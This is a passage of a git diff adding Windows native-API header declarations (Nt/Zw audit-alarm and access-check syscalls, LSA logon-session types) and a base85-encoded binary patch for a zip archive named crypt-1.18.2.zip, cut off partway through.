GrantedAccess, + _Out_ PNTSTATUS AccessStatus, + _Out_ PBOOLEAN GenerateOnClose +); + +_Must_inspect_result_ +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAccessCheckByTypeResultListAndAuditAlarm( + _In_ PUNICODE_STRING SubsystemName, + _In_opt_ PVOID HandleId, + _In_ PUNICODE_STRING ObjectTypeName, + _In_ PUNICODE_STRING ObjectName, + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_opt_ PSID PrincipalSelfSid, + _In_ ACCESS_MASK DesiredAccess, + _In_ AUDIT_EVENT_TYPE AuditType, + _In_ ULONG Flags, + _In_reads_opt_(ObjectTypeListLength) POBJECT_TYPE_LIST ObjectTypeList, + _In_ ULONG ObjectTypeListLength, + _In_ PGENERIC_MAPPING GenericMapping, + _In_ BOOLEAN ObjectCreation, + _Out_writes_(ObjectTypeListLength) PACCESS_MASK GrantedAccess, + _Out_writes_(ObjectTypeListLength) PNTSTATUS AccessStatus, + _Out_ PBOOLEAN GenerateOnClose +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAccessCheckByTypeResultListAndAuditAlarm( + _In_ PUNICODE_STRING SubsystemName, + _In_opt_ PVOID HandleId, + _In_ PUNICODE_STRING ObjectTypeName, + _In_ PUNICODE_STRING ObjectName, + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_opt_ PSID PrincipalSelfSid, + _In_ ACCESS_MASK DesiredAccess, + _In_ AUDIT_EVENT_TYPE AuditType, + _In_ ULONG Flags, + _In_reads_opt_(ObjectTypeListLength) POBJECT_TYPE_LIST ObjectTypeList, + _In_ ULONG ObjectTypeListLength, + _In_ PGENERIC_MAPPING GenericMapping, + _In_ BOOLEAN ObjectCreation, + _Out_writes_(ObjectTypeListLength) PACCESS_MASK GrantedAccess, + _Out_writes_(ObjectTypeListLength) PNTSTATUS AccessStatus, + _Out_ PBOOLEAN GenerateOnClose +); + +_Must_inspect_result_ +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAccessCheckByTypeResultListAndAuditAlarmByHandle( + _In_ PUNICODE_STRING SubsystemName, + _In_opt_ PVOID HandleId, + _In_ HANDLE ClientToken, + _In_ PUNICODE_STRING ObjectTypeName, + _In_ PUNICODE_STRING ObjectName, + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_opt_ PSID PrincipalSelfSid, + _In_ ACCESS_MASK DesiredAccess, + _In_ AUDIT_EVENT_TYPE AuditType, + _In_ ULONG Flags, + _In_reads_opt_(ObjectTypeListLength) POBJECT_TYPE_LIST ObjectTypeList, + _In_ ULONG ObjectTypeListLength, + _In_ PGENERIC_MAPPING GenericMapping, + _In_ BOOLEAN ObjectCreation, + _Out_writes_(ObjectTypeListLength) PACCESS_MASK GrantedAccess, + _Out_writes_(ObjectTypeListLength) PNTSTATUS AccessStatus, + _Out_ PBOOLEAN GenerateOnClose +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAccessCheckByTypeResultListAndAuditAlarmByHandle( + _In_ PUNICODE_STRING SubsystemName, + _In_opt_ PVOID HandleId, + _In_ HANDLE ClientToken, + _In_ PUNICODE_STRING ObjectTypeName, + _In_ PUNICODE_STRING ObjectName, + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_opt_ PSID PrincipalSelfSid, + _In_ ACCESS_MASK DesiredAccess, + _In_ AUDIT_EVENT_TYPE AuditType, + _In_ ULONG Flags, + _In_reads_opt_(ObjectTypeListLength) POBJECT_TYPE_LIST ObjectTypeList, + _In_ ULONG ObjectTypeListLength, + _In_ PGENERIC_MAPPING GenericMapping, + _In_ BOOLEAN ObjectCreation, + _Out_writes_(ObjectTypeListLength) PACCESS_MASK GrantedAccess, + _Out_writes_(ObjectTypeListLength) PNTSTATUS AccessStatus, + _Out_ PBOOLEAN GenerateOnClose +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenObjectAuditAlarm( + _In_ PUNICODE_STRING SubsystemName, + _In_opt_ PVOID HandleId, + _In_ PUNICODE_STRING ObjectTypeName, + _In_ PUNICODE_STRING ObjectName, + _In_opt_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ HANDLE ClientToken, + _In_ ACCESS_MASK DesiredAccess, + _In_ ACCESS_MASK GrantedAccess, + _In_opt_ PPRIVILEGE_SET Privileges, + _In_ BOOLEAN ObjectCreation, + _In_ BOOLEAN AccessGranted, + _Out_ PBOOLEAN GenerateOnClose +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwOpenObjectAuditAlarm( + _In_ PUNICODE_STRING SubsystemName, + _In_opt_ PVOID HandleId, + _In_ PUNICODE_STRING ObjectTypeName, + _In_ PUNICODE_STRING ObjectName, + _In_opt_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ HANDLE ClientToken, + _In_ ACCESS_MASK DesiredAccess, + _In_ ACCESS_MASK GrantedAccess, + _In_opt_ PPRIVILEGE_SET Privileges, + _In_ BOOLEAN ObjectCreation, + _In_ BOOLEAN AccessGranted, + _Out_ PBOOLEAN GenerateOnClose +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtPrivilegeObjectAuditAlarm( + _In_ PUNICODE_STRING SubsystemName, + _In_opt_ PVOID HandleId, + _In_ HANDLE ClientToken, + _In_ ACCESS_MASK DesiredAccess, + _In_ PPRIVILEGE_SET Privileges, + _In_ BOOLEAN AccessGranted +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwPrivilegeObjectAuditAlarm( + _In_ PUNICODE_STRING SubsystemName, + _In_opt_ PVOID HandleId, + _In_ HANDLE ClientToken, + _In_ ACCESS_MASK DesiredAccess, + _In_ PPRIVILEGE_SET Privileges, + _In_ BOOLEAN AccessGranted +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCloseObjectAuditAlarm( + _In_ PUNICODE_STRING SubsystemName, + _In_opt_ PVOID HandleId, + _In_ BOOLEAN GenerateOnClose +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCloseObjectAuditAlarm( + _In_ PUNICODE_STRING SubsystemName, + _In_opt_ PVOID HandleId, + _In_ BOOLEAN GenerateOnClose +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtDeleteObjectAuditAlarm( + _In_ PUNICODE_STRING SubsystemName, + _In_opt_ PVOID HandleId, + _In_ BOOLEAN GenerateOnClose +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwDeleteObjectAuditAlarm( + _In_ PUNICODE_STRING SubsystemName, + _In_opt_ PVOID HandleId, + _In_ BOOLEAN GenerateOnClose +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtPrivilegedServiceAuditAlarm( + _In_ PUNICODE_STRING SubsystemName, + _In_ PUNICODE_STRING ServiceName, + _In_ HANDLE ClientToken, + _In_ PPRIVILEGE_SET Privileges, + _In_ BOOLEAN AccessGranted +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwPrivilegedServiceAuditAlarm( + _In_ PUNICODE_STRING SubsystemName, + _In_ PUNICODE_STRING ServiceName, + _In_ HANDLE ClientToken, + _In_ PPRIVILEGE_SET Privileges, + _In_ BOOLEAN AccessGranted +); + +// LSA + +#ifndef _KERNEL_MODE + +#include + +#else // _KERNEL_MODE + +//#pragma comment(lib, "ksecdd.lib") + +#if (NTDDI_VERSION >= NTDDI_VISTA) +typedef struct _LSA_LAST_INTER_LOGON_INFO { + LARGE_INTEGER LastSuccessfulLogon; + LARGE_INTEGER LastFailedLogon; + ULONG FailedAttemptCountSinceLastSuccessfulLogon; +} LSA_LAST_INTER_LOGON_INFO, * PLSA_LAST_INTER_LOGON_INFO; +#endif // NTDDI_VERSION >= NTDDI_VISTA + +typedef struct _SECURITY_LOGON_SESSION_DATA { + ULONG Size; + LUID LogonId; + LSA_UNICODE_STRING UserName; + LSA_UNICODE_STRING LogonDomain; + LSA_UNICODE_STRING AuthenticationPackage; + ULONG LogonType; + ULONG Session; + PSID Sid; + LARGE_INTEGER LogonTime; + + // + // new for whistler: + // + + LSA_UNICODE_STRING LogonServer; + LSA_UNICODE_STRING DnsDomainName; + LSA_UNICODE_STRING Upn; + +#if (NTDDI_VERSION >= NTDDI_VISTA) + + // + // new for LH + // + + ULONG UserFlags; + + LSA_LAST_INTER_LOGON_INFO LastLogonInfo; + LSA_UNICODE_STRING LogonScript; + LSA_UNICODE_STRING ProfilePath; + LSA_UNICODE_STRING HomeDirectory; + LSA_UNICODE_STRING HomeDirectoryDrive; + + LARGE_INTEGER LogoffTime; + LARGE_INTEGER KickOffTime; + LARGE_INTEGER PasswordLastSet; + LARGE_INTEGER PasswordCanChange; + LARGE_INTEGER PasswordMustChange; + +#endif +} SECURITY_LOGON_SESSION_DATA, * PSECURITY_LOGON_SESSION_DATA; + +NTKERNELAPI +NTSTATUS +NTAPI +LsaEnumerateLogonSessions( + _Out_ PULONG LogonSessionCount, + _Out_ PLUID* LogonSessionList +); + +NTKERNELAPI +NTSTATUS +NTAPI +LsaGetLogonSessionData( + _In_ PLUID LogonId, + _Out_ PSECURITY_LOGON_SESSION_DATA* LogonSessionData +); + +FORCEINLINE +NTSTATUS +NTAPI +LsaFreeReturnBuffer( + _In_ PVOID Buffer +) +{ + if (Buffer) + return ExFreePool(Buffer), STATUS_SUCCESS; + else + return STATUS_INVALID_ADDRESS; +} + +#endif // _KERNEL_MODE + +// +// Only Kernel +// + +#ifdef _KERNEL_MODE + +// Dacl + +extern PACL SeSystemDefaultDacl; + +// Token + +NTKERNELAPI +SECURITY_IMPERSONATION_LEVEL +NTAPI +SeTokenImpersonationLevel( + __in PACCESS_TOKEN Token +); + +#endif // _KERNEL_MODE + + +VEIL_END() + +#if _MSC_VER >= 1200 +#pragma warning(pop) +#endif diff --git a/include/crypt-1.18.2.zip b/include/crypt-1.18.2.zip new file mode 100644 index 0000000000000000000000000000000000000000..ae0e6817386609fd3ff03ad7cb43d66de07a63e9 GIT binary patch literal 3466666 zcmb5VQFWwr!iIY}^9jDzH9Xy6oMxth1L}>M;s1NWRH8S&!CF883^n_GYXCAn9dZFlK|fCxFsV^ zK&koH4!d`p;;wJ=dk+hHqoY!WPbCAdK<1nVknLr8cV28JHAi1y%x4S%`%U-_HhU-@ za0Z@jmup4*yJLcN&3KPS>uO9L4OIu#}eM| zLI^nl&Niy+{+7M2PjQ^=__k;Mc(t+QCgga+%`Sj_@ax%`vE|dloE{5>g1)b7d|=z= zEJHZ)DAp)IEQns9xP2-T3!dU-akHvP&*i$IrMj(q5ePW62juQH!v&fRR)&e1YS)*y z7sMQbVvB^<@lTaM4WijVg@^uedN#RM32Fl# zRSw`_#ON~woSjWUkOE3HIHT|apEl1Y6K0hakSq>okb*n6wC}MwBRCBD1)&^Ci=1t+ z-4dZ6x(=i-#OFArSkQeC1$c$3V^|)q-IvAA>curXdc3Z>aq;#g>1yFiJX9>$>q%s| zjNCnMjcp>`M|x@#(vfhjt~b0kB-)R(W6LVnQZJs~yaO(JG| zZtXG!1w6YHvt5cq?uN4LN$_qlNbt3+24*wq4zo|`XmIikhqQirivy&?=&6^1$%i_Y zqOOwUwd)Cb9TJ7F4P}*E!$Ol_A)h=6bQaKrgv5QyU9mbM<(_FtI%zTkMe^GNXioso zUprv2qs#mEbsV(YYEDHp7(r;Z~tYxh@g6qqqVjSlH>p_BIMb9?p@X%+(`b_dSRe0Vv9dRM@ib?YDl zf(&Fq%uEmjFyw;|kh-zpd;0oc;Q!7C$f};`JAcVV8t^aK{AWIJu{SnwHnB0VGI9Dp zu!2ndr0gIAg6PWwsxa15{qLmTLP81Zx8M+LD$1lSi|Oy8m&wY>ext>f8_QD}^V-|( zQDM~yWLB0tfOFNz6A`&wA;B=QtAYqR_#)IPx9)sJ7$$u{`go}qR#B^_=*sxV zm`^&}(7p%#V|QYjnO`rs@5GyZ3GIJ;Q>{p|^jRi^(n!^*0O!{|2ctgUMm=Z;M;8nqmCP*tXNF+!;e}hio%hufmmE6j!+V3D>AG zBE(X=Q6g(p>J3x{lCC(s{a-34yH!ea4g>(8015E7ZvT;%olTsaZA|_TMXOP@u`3in z_@1dtA1uY62?APvPuvJ5vXN0hu20jp6h>4%RA%_ylBRvryF*hh8rA$q1$oWG^x4DI z6g_nyEvW!M8|KP=%HbR0daoQ{AbEh2$KF{Q2+p750O3{C+6&~f4NknbL}>3~9G}Av z?_&nT^f@^ClM;~Io^a@w0+1j_nJ>l=y1i{@?d-@iiZ%=^1n>zPE-)-3+RX!n_q`61 z&aIUoktY$%Yx9P`9yBDs6)+xPfrr_7>bzah+)&l>k_>EcDn+jJ7a^=!G!`)X<&=CA z_-7Sf>AuKNse0In=#UXHxi=Bwiq0rV1OvJHZe!dTme2G;$Ier(XAS#d@IjiKV0?SR ztOKaM15?^UgF%p=ajW>TQ-Vv!vGN&z@1q1o$b`fWCMQsTM2DWvf)nz5Z(^Mg8x-(w?x|#jC2c zP+Qx?nmJazGOL<|?se3MU+g}d6$1vEnFUq2jdhl-SzL9mn#2LssLzaw6s60TMD*9^ z9G_{XzBfz_ovX)A!7nS_P+OLL+!lTPSqmMC)8Egz(tXu`7QO+NXGZA0+I3{e@LI?j zWmz}vNDwBG%8v1JeXF+5wY7M+tqqX5GrvQhWJFYjSDUWU3JF3(wrz9w2QIW1vrby1%A10n>@KUW-9x1unk~{goGk;>qleAMwpb91m zDx8;S;)09*N+7wW|99r$(y^lphX(-Y7XRNe&p(`FYGG|cXJcV&=JwzABPH54PMaKw z-#qWA7o*^-J1JNAj|W$FBi$V3SZyA0`G5-9Y0CS;F~@b(V*v* z_2Hr=V#hD6*lf=)?bOQrdU-uqyZJ;GAN1_#8>%|>cCoV?AEGvyS-MF^8_}Ykq*)qc zdjs|A=7xK3Y-Q`{{8B^e3c1WRpEq*2lUCiVpk&ljr-{?WK~~KL6&?gIsqb+N+k+vV z_h_Ori8^{W#3^rPWsTG2>^d|V2FP_J5I(sD5ztH6Ik|=3cOtCQ#?Pj2u^S`k>U~rG5IEK>-@SoI|c0ixSo4eo-TW+J%b#+ zf8cpveXVDme)~E8_PcfPgX7aig$5%A4~;Q5#zqu7%1`%yr!Py(V^&}d+=89XwY9LQsS|R}qaeb)NgQfOOTQREq}$y+ z0aAs?Na|jXzlYmXVO)Y*@sk98-B5=O4kAXZ%ZG<0=t95VJ2tFfHKsWW@WAG8{^S zp83@%JvKpVGd_d|DQ7@9NH$?NFyDqand%PDP#KKH)}#x3SW-lDNTB&OlVxaiSkYJx zRw_B>kr(oAN||NEyIfZFB>G^SqQhNv-+j~5(kN(S0q=!#-I}gvaSl%EEORJjpLQ*X zXgM|&tjP$hk;-v4NklcMmQhcM6EU#I?mft^#uGez78wp$1Pp_bQ~W@!(e;a=;~`~_U^4w;m~|Pj|pf#jm573M60lZq3J3tgyG7(Hp}^g4t*216@ie5YoXGh zfMT=A!qSIg)UI5{(nIIiwnA1EAW*(@+MQ$Conft>s#c!;t9$X+8`DO?%k~w>nolN( z9P6_vuR3qv7cSm0Ui{T#V>wpszHxNA!#8e#fLT72J1==iAAE+{pOI|uA8>+OKYyNo zE<0gF-|$ogKfuRtI}1p3^389~5WF_+s z6!?Z{MNcOJbmyyDJEf0$+KTwFLI@N?mf7-9R(KSifA|ta-JrBA{CUv9`>aX;!(T6h z0_uW<)`GyN+W(B1bgVbzqy!o#`xn(1*JO6lQ{4bmqLun*uQezt2Tb8B5g2mN?><+K zqlwy7F{S4lN69ZW6c)B9)97%6k~70NVY_l@XQbE%aDLtD`i)^)B`I~rM-5g_kFrN81*V__+1mZlWQ0#?{FjR-CZ^>H=0{J5F9mO3G3oV#U0wwmCSfwwbqR=~!y; zOgY@+0Ht&-n?@4jQVU~?q8jh&Tf}i}I~U~qBWi5odM`<7`yfeqH8FNtxhwRX(y;VJ zxc-B)Z9C9OT<>hbebrLCO&$9*s%udlcDsL(ev`%ZXpvR;Y{6Z0gKh$ItxEVd0nSU; z)H9oQeu(s9ctS;v*mh{l`n8DG{IVVi#al>2xhH;}jcWo<*BvySRN}p6Wiv$EvPQA2j5BQ{VSOUJzRz#f#Qqo}V5C)@X-`BT)0nPl{1P(DK4ObrGZ? zyKb!j@m6s%$smP3I9ynSIdA$pPn)oCW4hVdV0D$VE~QyFsPXesMUnNB>wr^J-x2?&5PX@^A&M%Yk$qU#Yb>=H9g~bifD7o3@cgn=I%qG(}U< z4`hg|pEwjzc@k7I!8TY>&)w28exp9lrfMOm$k^&ZQ{q)_+?8zp*Ox2M)we82_IEpA z&}SA-vr&(c@#)h-3pD7^+jj|O(F&^fh{40rL~W+0`hW= zC@5`3zFb1W6;UVJN~jw}7vfOwt)&77gZ9Ns?ArUU zt3PoRUOk~d!VXW!rS!>LlZ2py3dWZ4I|OV`63w2Zyc%OKXAb}O`+2t;I(03k45=MzOD@SB0fG%UrwlnK0H9G zZzB%b38Pfig-_(cQAWsh{*F>p?)8;dq^!^jb%`8ST7;MGQjiJa1Y`EoQI}_<@L|IF zUIX%@Hw?s*Rdw5!+d! z#4;=y!P5uCjs7qXqvUCQ=E`j{09lT)4?M${JSmZem?W~~?dw!FN=qw&9dQj}ve1#> zm4C_=Cm?eLne~#pO=mshhVk3DN4b-05T-F>h30a2l{pye1zS(nCDul*SuV{S6`u38 zGI_@$Jq9;HRBKYf*=m5<(p#>T+RH;9wCUz{9|~nO%{lSe2~fq}@ZlPY0*Guy&t7R@ z8qf|R(Af2fLLPso3DLA~PJr2Ktx42uA*J6k=TXlZ!}62Omle73k4Ox{86lihE!YSr^11$CKUqYnqzLbsxk&>Dmb{CQ6nT?mz<_^b0dx@ybdj4J@ z?9z~5>7FxHdJwq7WM1L1M4T$4sBNlyCvHT4FNB(5GEgpZCkT9sD_Eq${}cBhK<#?Z zNM^n)!(F;dvt$Ju-pE zT9R}ozJ6X`1I?mR!dC6fe{{Lt|L}wWO}n?IQcu^CBhW*!FWJ#_8D8yX+LXUL)LN42 z$J^X;3vz$Fj=CIkcC~Gn^K35a1I)XxHZgO;C~&-&zIBo|I6H3?6ThgdcC2+$Xpk$r zgS|!TWxBd$>Um;T2}!l}t!tnSfPoYa$bzLQ$6dfT$m7km|Kc<7in4n#7Q+W%22 z4{(haTNZU&fV2vw($OeUqsKXe0s_Ix9ShZ{X%1M4bn}Bn$URf(X|UP0C7X`%QFVxo zRE672<%5PzG-J>o4Ae|2=X03BOU$m|OGNOQtmCtOi_QG`>k9DY>LjXhal-P}wsLlBYVAZwx47EottHV2&r1c1Q)b;Wz>6DKz0R6-Gemkqx z%*+w{;5Vluyv!^;U(WXD_Zwa3xAPNsW+KRyvvF9yjvxe5nWfrqn6&7kiD0VOV5WeA zKRTfzOwf0~oZ0s$so6UcW=b9mm_jul>(z?ml<4J>KoI6Q=>zb~bm7S>&?m-EwGQYH zn1>g#?@b=;c7qKSW?1s50+H&rkx%VUno3;Yw&kwdY%CvnqxabDo?Kkz-~@7{Uj)3- zld_s@kOC%l;vt@ob|qoZ0{?ufz=g2$kL!$DhSg;ukv;dNtwfvra`z;Ld^)yxeNPH= z!>)M2d48y(egr-@9rfvfe1V2Hoqef3bi#Zkpk@uRUfiCo>fjLlftT^4{$a{l(Bu(tQd`0UwwxYtq0V_wcnkQZf@0PS}(th)I--fkP_PntjoK35ti$|rGioF(O zZ$SL~Y(Dq=RxnrD+r2&|{TW?^S&=J3U$6;(u;T;S?N{nHTHhS2Ege`6jXbPy-Awp*J3pc&@a6 zzz6hoLGDO&OD-BPt+N(f88E%vI%O1Y(Ryy=?mzr-V?LwWU#Vo9;`w*X|?HbZs z48VkCqzHrXd2g6N9XDWTZJ&w%AnaDtr0$DMhuGle^7R82!5t#kQ-|PV32Qc4qjL7+ z<%IKq#0b$FTnF91;7Cjz3qsan?03AXarcIo#FrUvRL%%x4!QCIyO=5Wo*FUwe9YVe z{ZoklY~f)3=R*9W6*~R@FmeiU3jUyg0sxF50ss*GH%MDMJ$px6GdiRHR@rU!3#EMt zgr6C``I8kJKrj$ERG0cxp=Spm#c~x}4K!8~s z#9ZI+4zG>_UDQx(-=lV)`uh^VTC)&1MEy!NJHqf@V=@kFx^Q*D8n7{_G^7~{GeOA8 z*EAIX8i2%xNz#N}=$ily7JqP}baXI}WyxF)XgP*~ww#5c24WwzudIC9m8h;%=83$UFuD4>Gw5FnWB&}k0+B7=nE?wHw8(IN z{wnv7%R#CX(rFR3!O(p&OM3V|s@9+yPmx2VjVEF;IkQtncwGVoI%B`Jpi4f}rFJhXIm zfP(>qkU>^52*aWpF*z5?w@ytGS5{M*O@XND%9D@TDS$ruRA?^DSrV)Qc`VKQ(3?Rf zd#!;!xY+yMaMa~m`8$-ZQsq{aI%3NQY85|fKNMZ%yG)IfX{%fqmku&^o!h$}r7 zs{6QQD$9a zxsfBd;p|QT4XSmbO`%-!sv5A@8PpiX(6wbfa^b!J8jx*5)8L9lOqz02UaqL_z!7GF zIgsK+aaCk1stk-`u2GWOu6oWTB6f^d2fZ|ZXrZJM?^ft}i`*sU59-(vm4Tt;^X>D% zLTQT*vPL}g`pW30mTe|S&)$lXk;u=CIRPelq6d!~7VCP)X#8QAqp%evLSdT{jbr%m zcZ{%`Y{-hSBo**xHamu}pd>E3YaTJRkZ-T$D1!4cfcJTkpj_+5@jlI}yC6=2CWk?NuT0VKhX_TrE&3 z3$3I0!i{eBL6nH@!k9|>$9ZJw1V5e5;iRT$Un*2RogAq9d(Yn)gfsm|)C@C1Q(Jj~ z97rE_D*@#8^)?)qygxt(5S-_0tPv@nhI3-l_0Lnm4>$dTB$c!RpIf5 zH2m&UkwsgFDFZx|{MIAJ-<{0lsKDJMEb4<|Mdm?hXuuVX}wz)wS zmyAFSl~F+pL*GXuB3-romp_Lz=WrZD5!|cpvB0nzcP1bS?($V{6Byi?M}oG7LR1(_<>yw2S#_ka-6GGc7gRHCMU!S27(oB zmx}J7IY+Fa4~Z8^%j~C#D|^}}XOE84v}kPkWWa-h3knB)#oLE36FVRfa6T{+chUrJ zU@XhpM!`7JVB?J)VBn`c8$ihRTW_qEJc zKsfvTuW^1(3IIU*-}u(X#oF0I?;kq<@05F`X=Aq`@h{(}$Py%5INAd;-ilNx9BCL< zr9j22eN1!Hs%v7ys^*HNY1*$>2b-b^l9LjyV^`fD&C4`*-Rv`3?}aKK*=eeaFAppM z2(Qs7l0*HTKFc1ZZ3swGI`$RC)lD#cfFh9iGU+z}>YWB000~GFL!35>VBb1xy#vH* zI5JvTRY3`VA@aztLr+2ky|zx{{e?3k)WgkPd2eCq$bR9TI1iUl9@je{X##E>Bl~pw z0+hgXa2k|0JyCNsaiSTNTbVuw3goa~(H!^0dxAu-6R#>1Mc1g$R0w+vNaN5=>0%(- z(!f)Lmd#YHy+l2tM%aUTh!2VF7z;h;J+vs{_$7Sfl?$xIuI;zo008y)i4k!&zqJ`l zsCl}}tzxX8bh|Em_?E)H8t2b;f+kg%Cq5zNFRAavxhckmICJ9} z26zfslGmZ)-XsS_3$!*Mb&6TFLd(Nd_|(^J6Z(d`nu6>(c4&ffAH~QaNksrk2|)|T zcu95`oFti4o|s}t31Q&9qUEIE?ygW8(+$xkp^{ZgH7LH#{F7;yQ9i$l#I>VSe0`$Zik7AxI{nB_Ci;3``15B%o+g{iEKw zOZFLwP&RekZ3eBdCU5wA`WRro9=-K3CT1&3+<(Cqrhm-++#Y?caa`w|kGL~n`C&bd z4#G!FUxl6`cv#}QfJRc%yKtsXQRE-z;v|^T?t#&ZJ;owt#eLs+C7YYX#^BD4`WzhU z)b;AF<29^MX+5$q-l&Em{Y13YT0?LBR6m`_XTdT%lfOGouCHxN0R`atP@%S_Ka6a! ze*Uw?uU+?zJ-Jo=o(7<|^b_1WYRdig!NJ$;8ClVXeP)B1f<*uz(V z@5W8e8pW;&}tGxwS|54n> z8|Y5$)EeG4GxoQWnuRI%u^2XZwWf7TnmaSo(&>+ZW1*~dnQsp(W@fw=m8@P(_*pop z*2Y%*Y`UqmB*7a9*PXzyLvA)G5%YzR3(e-0TFb`O7%~!|C=a}d;7z_iqo!4hO<7kP zzFJO8p%tvwRrBWRrRHE)XpWgVu8n*TGG7Elc-MiYD;u5X-?f^+G8b%II*hMM%gQQP zKhXb9ESp#F{#Ji|}=`&YhOfp6UDL78EK&3CEVh#cV;r5dF$_*IZ+3tI(MULl~rp zWS%gM3RA_R8=w*s3wbk8YfdHU%>hE%ioyYcAZ&GsCl#$_;j#f_#72oVSAa*gdmoO{Sve?1YP|AQ&bjtZqEHLWIWNm~j&ibaI4UiKuP6(1^&kNPBb$NV+=l z;I-3FrnWdLDfC*qAb|QEg9L|5{pBiNrgvr0V7BuY*E#>3GH4a(Z>0;^SIV0^QFm;Z z@wau8+t0;;s8)uyw@(M50r*>6^yk$A71E@6cSm+C>4B^h*07^YUKez~?#-X#u%8+! zqT`5zDbl#sTz3!uhoeAP$LhHd2`C$a3H$g9$ix?Bi48gHoxqK8&5!Ri0!%Gcw>B;` zq3KWy1DABWmXbLhRGLujNEAovM|m2Y6~A0v?pwH0RH^shZ**d2!sglgT15`QIt(mV zgI&wkPnkWW1boBn#EGK)unQg4lcnOLIcA~M@USTy&>=Zw(lVrmJ%k!6Kfp87aJIpTBP`?(QV(1LyMYEIpB#5<|tAM6*k}* zAJq_C^~s-GFD~YABFv0=C@+UV_e7?DSxB6bklZ7jyorQremdJpV!@Cdka+dVh{337 zHBnCPefqgTzKRNAh)iOEVu$ZoxhmLZYzfx$)v&ze%DKMU8~?LXCRYWz)|$4&)Wr<0;Pv4MMRp%8`4BH@vu9O01?y}=lb@kT(bR|}?nbjVfrxDo z7>>#Ij3Mq$*rYprp0FNGbl(VwO;;JDK#6;x4lGlDwvanp!3C_flU zUQCR7@2ICxgc7CKQzdE&p`N%g&-`CaBYeVai1CEp9LbbfIh3USPxup%8>6tOVoWec z8t|^Xuvj1MT$I2u?JbJnAOZnk7{Zv+p|c2#oPiN=&ZIU_4^!@&XUz=^q%$VTskk;5 zUv0Yv;qaCwNybDaV@mz1&RRSAK?kV zIlT)b#vv+TEd^Q-S1~YI;-?q;d$4;XkgWIs*Q~8dXtR- zag2$bLA|);=OLPdY!;z8*eOYYvYL>CHP33gQ{F}v8>~|tBZ1^mh&5j`lgy=KJSOp$ zgvth{c!XbMM`EKv`Ia6d-=hC*;Q(+{FsyyjuWPO`qO;1^t?jM@;hMjVC+Pnz2rH4w zaE>|x4(UzA^GgOfO9lfE5Em%MpbJsBR?a@ror~W?K-^y03-wj(wZ|mn<41+N!be3o z)4`_ScTm$`ZnrZ4*`5y+DGfK9D!+uUf;N({A1j}+`30ig1;}T2u&;477m-Gxc6JC% zMsSesC_XO|DqCG9#>QQ0w?y>;az>dW0BEQiDw`@{fL2R1`zHTjx3!D>=g=X-e@7lN zt+&nrGlc2o$savlGf3YJX$MpuEPEL;58Nvt35Ez1bq2cb8QQ!Q34upGcj|c(co)?EJbJd3Kdc$5J6X(GJPt2^ z2~Y`N6v05>mR``Ipql?={`M~ME{nMRgcXl2f)(@%LL7Eq5cTmh#sy6O!a zPm**S{5)w7J;#Ugtx9m-=x?lS2nSrVz+wVVh$XpRKZ62CW}a`Av2O4Jd!5TAW|U zs>&D>tp?IjHqzzNq6A5l;Y1dl#RzkxEc4nx=lK=UMK+Qa=kufF}T&qwSc58Jo zMjB`-vXYhGlm&(1q#7wO5o4(b7>VU)M5!v^>xtD8Tt^Y*V@OAx*XE_glr3U7gU!?D ztI9a5ziqfQ*hD}#W62D4#K25K1v8Apkwz+s6h<^KtR#peSZNTIxPD)rr$(RQQ*j(( zh2P^CjTS1-!xGI?mdcV0I^!%VP}G-Nwey?J`V8X@%FAduB@`*XClqr~5u(f>oT0%~ zmuCi(QkgxSFf>AiI>K=~f5cvAGBM)nI8x@Ha}5=88Bx_*B9HsPn(Fq?*(hy0$|PAb zGb)R#xGX20%F-66i;z_A>ra+s3XtAlnGR#=q@d>5CZBg&Q;QU2mryH$5$ZS@D<#qf zR{-FEc2Y6f}<%s4FYss?Aq8VwD;w#wbW< zrDNIrW`!~wYmqK5AfPfAq7AN$wml~+2&I^(CGG&#QDV?hZZs}KiYcK;3=%Djm#nKC z{vAW2(a1W#QjVvnQ@#dF$s&_O{vF?7ad}h{KRg-Xln9j*!5`5Lom(U9fcdch^KU}3h%sHo z-w70p<~;6y2keS*Ts#~8B4t)Mb?g0&gKH{#AH)-%O1BxKo0FbGFA08Y{+++g`!77Z zk)5#apas#rg{Bs~g|-lQ>pa!BwE zUey0wcPLtW6aUGu8@oTIS zMgCc=)gYN3XyZjZvu-p4pn0Tw&N3fT-b(wgaFO{poSw5R*RZ=i zP!q1ICljb~U~j^*23o>O6Rw*7C**Fzvi%#b3Rm6z6Y@7<*{{gs_Y!Eva99n#y~560 zj{O6MSTmCS1jg?x-h}1+&uoz@1@gb?QcYN{D_!retn-#z8dA3hFCtX|W;QeUy%d@; zJXYABuQKzNr~eG7iB{E{U5WDhsx@JGvpt;)r-@e0oB2q4f3}#jeu9*jK|ChO;}*!7 znJ1Mp+j{x4+~UwnDEBinqEMU#+bsSwJbn7Lz92BlAC#)Glx4ti& zZQw*CqCsax2YC#sbHoHPO&W0Jd;#858FYU(8n{Idy8zCS59u-$ZyDY!v#j;+Qtf|p zZ?7TR+QC1^W^ZoR(1u5V5XMdX%7t24fBN;Z!ukxi_Q8!FyUfd1)$;H$n&D)Ncd6kQ 